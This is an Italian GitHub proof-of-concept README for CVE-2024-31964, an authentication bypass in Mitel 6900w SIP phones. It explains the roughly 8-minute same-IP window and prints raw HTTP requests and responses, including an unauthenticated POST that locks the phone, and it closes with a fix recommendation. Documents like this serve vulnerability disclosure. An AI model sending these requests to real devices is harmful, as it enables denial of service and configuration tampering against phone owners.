d-raco/cve-2024-31964Exploit proof-of-concept per CVE-2024-31964, un bypass temporaneo dell'autenticazione nei telefoni SIP Mitel serie 6900w che consente richieste POST non autenticate per modificare la configurazione del dispositivo ed eseguire denial of service.
CVE-2024-31964 PoC: Telefono SIP Serie Mitel 6900w - Bypass Temporaneo dell'Autenticazione
Consiste in una vulnerabilità di bypass temporaneo dell'autenticazione nel pannello del sito web amministrativo HTTP di diversi prodotti Mitel.
Consente a un attaccante di modificare la configurazione del dispositivo e di eseguire attacchi di denial of service contro il dispositivo interessato.
Un utente deve aver effettuato l'accesso con successo minuti prima, e dalla stessa IP sorgente dell'attaccante.
CVSS proposto:
Avviso: Mitel Product Security Advisory 24-0007
Questa CVE è stata trovata durante l'audit di 3 telefoni SIP con le seguenti proprietà (questa CVE è stata testata con successo su questi 3 modelli di dispositivo):
Secondo l'avviso di Mitel, colpisce più prodotti, ma non ho avuto accesso a nessuno di essi per verificarlo.
Generalmente, per accedere a qualsiasi risorsa del pannello web di controllo/gestione Mitel, è necessario effettuare richieste con l'intestazione "Authorization", che stabilisce le credenziali dell'utente che tenta di accedere.
Esempio di richiesta autenticata:
GET /sysinfo.html HTTP/1.1
Host: 10.XX.XX.246
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Dnt: 1
Authorization: Basic XXXXXXXXXXXX
Referer: https://10.XX.XX.246/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
In caso questa intestazione non sia impostata, otteniamo un errore "Unauthorized" e ci viene chiesto di autenticarci, richiedendo le credenziali.
Richiesta GET non autorizzata:
GET /sysinfo.html HTTP/1.1
Host: 10.XX.XX.246
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Dnt: 1
Referer: https://10.XX.XX.246/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
Risposta:
HTTP/1.1 401 Unauthorized
Server: XXX
WWW-Authenticate: Basic realm="Mitel 6920w"
Connection: close
Content-Length: 745
Content-Type: text/html
<html>
<head>
<title>HTTP 401 Unauthorized</title>
</head>
<body bgcolor="white">
<table width="450" cellpadding="3" cellspacing="5">
<tr>
<td>
<h1 style="COLOR: black; FONT: 13pt/15pt verdana">
You are not authorized to view this page</h1>
</td>
...
Tuttavia, risulta che tutte le richieste POST dell'applicazione possono essere effettuate senza impostare l'intestazione Authorization, cioè come utente non autenticato, a condizione che un utente legittimo abbia effettuato l'accesso in precedenza dalla stessa IP sorgente dell'attaccante, e per un periodo di tempo limitato (è stato misurato che la finestra temporale è di circa 8 minuti). Cioè, se un utente legittimo accede al sito web di gestione del dispositivo, esiste una finestra di circa 8 minuti durante la quale un attaccante con la stessa IP dell'utente connesso potrebbe effettuare richieste POST non autenticate, senza bisogno di conoscere le credenziali. La vulnerabilità è piuttosto restrittiva a causa del requisito di condividere l'IP con un utente legittimo, ma in casi in cui un PC è condiviso, o i computer sono accessibili attraverso lo stesso server proxy, le possibilità di sfruttamento sarebbero maggiori.
Mediante richieste POST è possibile cambiare le password degli utenti (richiede la conoscenza preliminare della password), bloccare/sbloccare il dispositivo, resettare il dispositivo, caricare file CSV dei contatti, configurare il server di configurazione, ecc.
Ad esempio, se proviamo a bloccare il dispositivo senza l'intestazione Authorization, vediamo che il dispositivo viene effettivamente bloccato, negando il suo servizio all'utente, e possiamo anche riavviare il telefono, negando temporaneamente del tutto il servizio. Come test rapido, abbiamo anche modificato efficacemente i tasti di composizione rapida e il server di configurazione.
Esempio di richiesta di blocco telefono non autenticata:
POST /phonelock.html HTTP/1.1
Host: 10.XX.XX.246
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 87
Origin: https://10.XX.XX.246
Dnt: 1
Referer: https://10.XX.XX.246/phonelock.html
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
EmergencydialPlan=112%7C999%7C911%7C110&autolockDelay=0&autounlockDelay=0&lock=Bloquear
Risposta non autenticata riuscita:
HTTP/1.1 200 OK
X-Frame-Options: DENY
Content-Length: 4160
Connection: close
Accept-Language: es
Content-Type: text/html
Cache-Control: no-store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"> <head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><title>Mitel 6920w</title>
<link rel='stylesheet' type='text/css' href='aastra.css' />
<link rel="shortcut icon" href="favicon.ico" type="image/x-icon" />
...
<div id='content'>
<p>Teléf. bloqueado</p>
</div></div><div id='footer'><span class='copyright'>Copyright © 2023 Mitel Networks Corporation</span><span class='support'><a href='https://github.com/d-raco/cve-2024-31964/blob/main/support'>Servicio de soporte técnico</a></span></div></div></body></html>
Inoltre, possiamo richiedere un reset del dispositivo:
E usare ping per verificare la perdita temporanea di connettività:
Possiamo cambiare la maggior parte dei parametri... Ad esempio, il server FTP:
L'intestazione Authorization dovrebbe essere sempre richiesta e convalidata, e/o la sessione dovrebbe essere gestita con cookie, non IP sorgente.